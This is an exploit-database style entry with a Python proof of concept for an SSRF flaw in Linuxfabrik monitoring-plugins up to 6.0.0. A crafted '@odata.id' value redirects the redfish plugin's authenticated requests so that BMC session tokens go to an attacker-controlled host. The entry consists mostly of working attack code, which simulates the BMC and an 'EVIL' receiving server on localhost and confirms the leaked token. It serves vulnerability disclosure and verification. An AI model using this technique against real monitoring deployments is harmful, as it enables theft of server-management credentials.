# Exploit Title: Linuxfabrik monitoring_plugins_6.0.0 - SSRF # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/Linuxfabrik/monitoring-plugins # Software Link: https://github.com/Linuxfabrik/monitoring-plugins # Version: Linuxfabrik monitoring-plugins <= 6.0.0 (fixed 6.0.1) # Tested on: Linux # CVE: N/A # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-96fx-pqc3-28xv-monitoring-plugins An @odata.id value without a leading '/' rewrites the request authority; the plugin re-fetches with the Redfish Authorization header attached, leaking BMC credentials to an attacker host. Advisory: GHSA-96fx-pqc3-28xv. The PoC is a benign, local verification harness (sentinel-based; no network attack, no persistence, no destructive payload). Run against a local instance of the affected version. --- PoC (redfish_ssrf_token_poc.py) --- import http.server, json, subprocess, threading, os, sys BMC_PORT, EVIL_PORT = 18080, 18081 EVIL_HITS = [] TOKEN = 'SESSION-TOKEN-SECRET-abc123' class BMC(http.server.BaseHTTPRequestHandler):     def _j(self, obj, extra=None):         b=json.dumps(obj).encode(); self.send_response(200)         self.send_header('Content-Type','application/json')         if extra:             for k,v in extra.items(): self.send_header(k,v)         self.send_header('Content-Length',str(len(b))); self.end_headers(); self.wfile.write(b)     def do_POST(self):   # session create -> issue token         self._j({'@odata.id':'/redfish/v1/SessionService/Sessions/1'}, extra={'X-Auth-Token':TOKEN})     def do_GET(self):         if self.path.endswith('/SessionService'):             self._j({'SessionTimeout':600})         elif self.path.endswith('/Systems'):             self._j({'Members':[{'@odata.id':f'@127.0.0.1:{EVIL_PORT}/pivot'}]})         else:             self._j({'Members':[]})     def log_message(self,*a): pass class EVIL(http.server.BaseHTTPRequestHandler):     def _rec(self):         EVIL_HITS.append((self.command,self.path,self.headers.get('X-Auth-Token'),self.headers.get('Authorization')))         b=b'{"Members": []}'; self.send_response(200)         self.send_header('Content-Type','application/json'); self.send_header('Content-Length',str(len(b))); self.end_headers(); self.wfile.write(b)     do_GET=_rec; do_POST=_rec     def log_message(self,*a): pass def serve(port,h):     httpd=http.server.ThreadingHTTPServer(('127.0.0.1',port),h)     threading.Thread(target=httpd.serve_forever,daemon=True).start() serve(BMC_PORT,BMC); serve(EVIL_PORT,EVIL) env=dict(os.environ,PYTHONPATH='/opt') plugin='/mp/check-plugins/redfish-ethernetinterfaces/redfish-ethernetinterfaces' cmd=[sys.executable,plugin,'--url',f' http://127.0.0.1:{BMC_PORT}','--username','monitor','--password','pw','--cache-expire','1 '] p=subprocess.run(cmd,env=env,capture_output=True,text=True,timeout=60) print('plugin stdout:',p.stdout[:200]); print('plugin stderr:',p.stderr[:300]) print('EVIL hits:',len(EVIL_HITS)) for m,path,tok,auth in EVIL_HITS:     print(f'  {m} {path}  X-Auth-Token={tok}  Authorization={auth}') print('>>> TOKEN LEAKED TO ATTACKER HOST' if any(t==TOKEN for _,_,t,_ in EVIL_HITS) else '>>> token not leaked')